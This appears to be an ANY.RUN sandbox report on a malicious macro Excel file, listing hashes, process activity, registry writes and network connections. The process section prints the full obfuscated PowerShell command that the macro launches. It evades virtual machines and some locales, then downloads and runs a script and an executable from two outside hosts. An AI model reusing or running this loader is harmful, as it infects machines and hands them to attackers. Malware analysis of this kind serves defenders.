Malware analysis 8cc628b0f627cb32a037cb03686f117af1cf1a17303f731662a88302b8cf9f34.xlsm Malicious activity

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File name:	8cc628b0f627cb32a037cb03686f117af1cf1a17303f731662a88302b8cf9f34.xlsm
Full analysis:	https://app.any.run/tasks/02a96651-32f3-4139-ac7b-320e16496747
Verdict:	Malicious activity
Analysis date:	June 19, 2019, 02:12:27
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	macros macros-on-open maldoc-1 maldoc-4
Indicators:
MIME:	application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
File info:	Microsoft Excel 2007+
MD5:	8D4BB358D07A3E8C1EE29265FD7FDE9F
SHA1:	607FD2A6C1F0A0F727EF0234AE3E656510A6A644
SHA256:	8CC628B0F627CB32A037CB03686F117AF1CF1A17303F731662A88302B8CF9F34
SSDEEP:	1536:lVH0IxkGawC3hskRSSuclIyTPHkDD+WZbmC2PqpMagFWk9KCPqBdCFs9iYNxga5t:lVH1WGhIRSSuclIyoDDllpMagcksOqBh

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 60 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: none
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (73.0.3683.75)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Unusual execution from Microsoft Office
  - EXCEL.EXE (PID: 3372)
- Executes PowerShell scripts
  - EXCEL.EXE (PID: 3372)
SUSPICIOUS
- Creates files in the user directory
  - powershell.exe (PID: 2848)
INFO
- Reads Microsoft Office registry keys
  - EXCEL.EXE (PID: 3372)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.xlsm	\|	Excel Microsoft Office Open XML Format document (with Macro) (50.8)
.xlsx	\|	Excel Microsoft Office Open XML Format document (30)
.zip	\|	Open Packaging Conventions container (15.4)
.zip	\|	ZIP compressed archive (3.5)

EXIF

ZIP

ZipRequiredVersion:	20
ZipBitFlag:	0x0006
ZipCompression:	Deflated
ZipModifyDate:	1980:01:01 00:00:00
ZipCRC:	0x3369e567
ZipCompressedSize:	421
ZipUncompressedSize:	1389
ZipFileName:	[Content_Types].xml

XMP

Creator:	Administrator

XML

LastModifiedBy:	Administrator
CreateDate:	2019:06:06 07:25:07Z
ModifyDate:	2019:06:13 13:04:29Z
Application:	Microsoft Excel
DocSecurity:	None
ScaleCrop:	No
HeadingPairs:	Worksheets 1
TitlesOfParts:	Sheet1
Company:	-
LinksUpToDate:	No
SharedDoc:	No
HyperlinksChanged:	No
AppVersion:	16.03

No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

2848

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -c function a($a){ return [char]$a; };$ijsd='';59,105,102,40,40,40,71,101,116,45,87,109,105,79,98,106,101,99,116,32,45,99,108,97,115,115,32,87,105,110,51,50,95,67,111,109,112,117,116,101,114,83,121,115,116,101,109,32,45,80,114,111,112,101,114,116,121,32,77,111,100,101,108,41,46,77,111,100,101,108,32,45,109,97,116,99,104,32,34,86,105,114,116,117,97,108,66,111,120,124,86,77,119,97,114,101,124,75,86,77,34,41,32,45,111,114,32,40,40,71,101,116,45,85,73,67,117,108,116,117,114,101,41,46,78,97,109,101,32,45,109,97,116,99,104,32,34,82,79,124,67,78,124,85,65,124,66,89,124,82,85,34,41,41,123,32,101,120,105,116,59,32,125,59,36,120,103,106,115,101,61,32,74,111,105,110,45,80,97,116,104,32,36,101,110,118,58,116,101,109,112,32,34,87,52,48,53,48,54,48,46,106,115,34,59,36,116,122,117,106,98,61,32,74,111,105,110,45,80,97,116,104,32,36,69,78,86,58,85,115,101,114,80,114,111,102,105,108,101,32,34,83,107,121,112,101,65,112,112,54,52,46,101,120,101,34,59,116,114,121,123,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,83,116,114,105,110,103,40,34,104,116,116,112,58,47,47,107,111,104,101,46,101,118,101,110,45,97,105,114,46,99,111,109,47,63,110,101,101,100,61,106,115,105,38,118,105,100,61,101,120,51,38,106,103,101,122,34,41,124,111,117,116,45,102,105,108,101,32,36,120,103,106,115,101,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,120,103,106,115,101,59,125,99,97,116,99,104,123,125,59,116,114,121,123,32,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,70,105,108,101,40,34,104,116,116,112,58,47,47,98,111,120,46,116,104,101,114,117,115,116,105,99,115,97,110,100,98,111,120,46,99,111,109,47,113,117,105,116,63,100,98,122,120,34,44,36,116,122,117,106,98,41,59,32,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,116,122,117,106,98,59,125,99,97,116,99,104,123,125,59,59|%{$fbwxd=a($_);$ijsd+=$fbwxd};iex $ijsd;

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

EXCEL.EXE

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

6.1.7600.16385 (win7_rtm.090713-1255)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll

3372

"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /dde

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Microsoft Excel

Exit code:

Version:

14.0.6024.1000

Modules

Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll

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Total events

800

Read events

706

Write events

Delete events

Modification events


(PID) Process:	(3372) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	write	Name:	j'?
Value: 6A273F002C0D0000010000000000000000000000
(PID) Process:	(3372) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: Off
(PID) Process:	(3372) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:	write	Name:	1033
Value: On
(PID) Process:	(3372) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
Operation:	write	Name:	MTTT
Value: 2C0D0000BA4592814426D50100000000
(PID) Process:	(3372) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete value	Name:	j'?
Value: 6A273F002C0D0000010000000000000000000000
(PID) Process:	(3372) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:	delete key	Name:
Value:
(PID) Process:	(3372) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
Operation:	delete key	Name:
Value:
(PID) Process:	(3372) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 0
(PID) Process:	(3372) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	AutoDetect
Value: 1
(PID) Process:	(3372) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\11FEB1
Operation:	write	Name:	11FEB1
Value: 040000002C0D00006700000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C0038006300630036003200380062003000660036003200370063006200330032006100300033003700630062003000330036003800360066003100310037006100660031006300660031006100310037003300300033006600370033003100360036003200610038003800330030003200620038006300660039006600330034002E0078006C0073006D00000000002200000043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C004C006F00630061006C005C00540065006D0070005C000100000000000000C0AB60834426D501B1FE1100B1FE110000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
3372	EXCEL.EXE	C:\Users\admin\AppData\Local\Temp\CVRF7CA.tmp.cvr		—
		MD5:—	SHA256:—
2848	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SHGY7LMVO72Y55614EF4.temp		—
		MD5:—	SHA256:—
2848	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms		binary
		MD5:—	SHA256:—
2848	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF12043e.TMP		binary
		MD5:—	SHA256:—

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
2848	powershell.exe	GET	—	31.214.157.24:80	http://kohe.even-air.com/?need=jsi&vid=ex3&jgez	NL	—	—	unknown

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
2848	powershell.exe	31.214.157.24:80	kohe.even-air.com	easystores GmbH	NL	unknown

DNS requests

Domain	IP	Reputation
kohe.even-air.com	31.214.157.24	unknown

Threats

No threats detected

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No debug info

General Info

8cc628b0f627cb32a037cb03686f117af1cf1a17303f731662a88302b8cf9f34.xlsm

8D4BB358D07A3E8C1EE29265FD7FDE9F

607FD2A6C1F0A0F727EF0234AE3E656510A6A644

8CC628B0F627CB32A037CB03686F117AF1CF1A17303F731662A88302B8CF9F34

1536:lVH0IxkGawC3hskRSSuclIyTPHkDD+WZbmC2PqpMagFWk9KCPqBdCFs9iYNxga5t:lVH1WGhIRSSuclIyoDDllpMagcksOqBh

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Unusual execution from Microsoft Office

Executes PowerShell scripts

SUSPICIOUS

Creates files in the user directory

INFO

Reads Microsoft Office registry keys

Malware configuration

Static information

TRiD

EXIF

ZIP

XMP

XML

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings